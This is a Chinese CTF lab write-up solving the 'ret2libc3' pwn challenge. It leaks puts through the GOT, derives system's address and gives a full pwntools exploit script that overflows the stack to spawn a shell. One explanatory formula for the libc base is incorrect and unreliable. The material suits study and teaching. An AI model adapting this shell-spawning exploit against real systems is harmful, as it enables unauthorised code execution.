[星盟 pwn LAB]ret2libc3(从puts定位system)

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[星盟 pwn LAB]ret2libc3(从puts定位system)相关的知识,希望对你有一定的参考价值。

一、要点

  • return to libc
  • libc中的地址泄露和定位

二、预备知识

预备知识请参考pwn入门参考资源中的PLT和GOT、ROP部分。

三、题目

这是一道pwn ret2libc的题目,题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1fvb4ICRncfrXcq9d5lcxxg
提取码:yl5b
本次实验对应ROP文件夹下的ret2libc3

四、解题过程

1、检查保护机制

checksec只有NX,无法平坦的溢出栈空间。
在这里插入图片描述

2、运行查看效果

运行该程序,用户有两个输入点,第一个输入点需要填入一个地址(10进制),而后程序会输出一个16进制的值。第二个输入点填充大量字符串时,程序crash,报段错误。
在这里插入图片描述

3、IDA静态分析

拖入IDA中查看伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v4; // [esp+4h] [ebp-11Ch]
  int v5; // [esp+8h] [ebp-118h]
  char src[256]; // [esp+12h] [ebp-10Eh] BYREF
  char buf[10]; // [esp+112h] [ebp-Eh] BYREF
  int v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, buf, 0xAu);
  v8 = strtol(buf, v4, v5);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, src, 0x100u);
  Print_message(src);
  puts("Thanks you ~");
  return 0;
}

4、栈溢出的设计

要在栈上拼出的内容见下图:
在这里插入图片描述
在栈中填入libc system的地址和参数,利用系统调用打开shell。

5、使用本地libc.so进行分析

可以使用题目给出的libc-2.23.so进行分析,也可以使用本地的so进行分析。本文,使用本地的so进行分析。使用如下命令查看使用的so和版本号:

gdb ret2libc
b main
r
vmmap

在这里插入图片描述
从图中可知链接的so为/lib/i386-linux-gnu/libc-2.23.so。

6、泄露puts的地址、定位system的地址

本题的思路是泄露libc中的函数,该函数必须在第一个read之前执行,这里我们就来泄露puts函数的地址。假设puts函数的地址为put_addr。而后需进行如下操作来解析:
第一步:解析elf文件,计算puts函数的偏移puts_got = elf.got[‘puts’],接收程序打印的puts函数运行时的地址dyn_put_addr,并定位到libc的首地址libc_base = dyn_put_addr - puts_got。
第二步:进一步定位到system的地址:dyn_put_addr + libc.symbols[“system”] - libc.symbols[“puts”]。
第三步:通过elf.search(‘sh\\x00’).next()定位sh的地址。

7、编写exp

编写的exp为:

from pwn import *

elf = ELF('./ret2libc3')
#libc = ELF('./libc-2.23.so')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')



io = process('./ret2libc3')
#raw_input()

io.recv()
puts_got = elf.got['puts']
print puts_got
io.send(str(puts_got))

io.recvuntil('address : ')


dyn_put_addr = int(io.recvuntil('\\n', drop = True), 16)

system_addr = dyn_put_addr + libc.symbols["system"] - libc.symbols["puts"]

print hex(system_addr)

#io.recvuntil('me :')

payload = flat(['A' * 60, system_addr, 0xdeadbeef, elf.search('sh\\x00').next()])
io.sendlineafter(' :', payload)

io.interactive()

运行该脚本后,执行ls命令,可以看出已经拿到了shell:
在这里插入图片描述

以上是关于[星盟 pwn LAB]ret2libc3(从puts定位system)的主要内容,如果未能解决你的问题,请参考以下文章

[星盟 pwn LAB]格式化字符串:fmtstr2

[星盟 pwn LAB]格式化字符串:fmtstr2

[星盟 pwn LAB]格式化字符串:fmtstr1

[星盟 pwn LAB]格式化字符串:fmtstr1

[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

pwn学pwn日记(持续更新)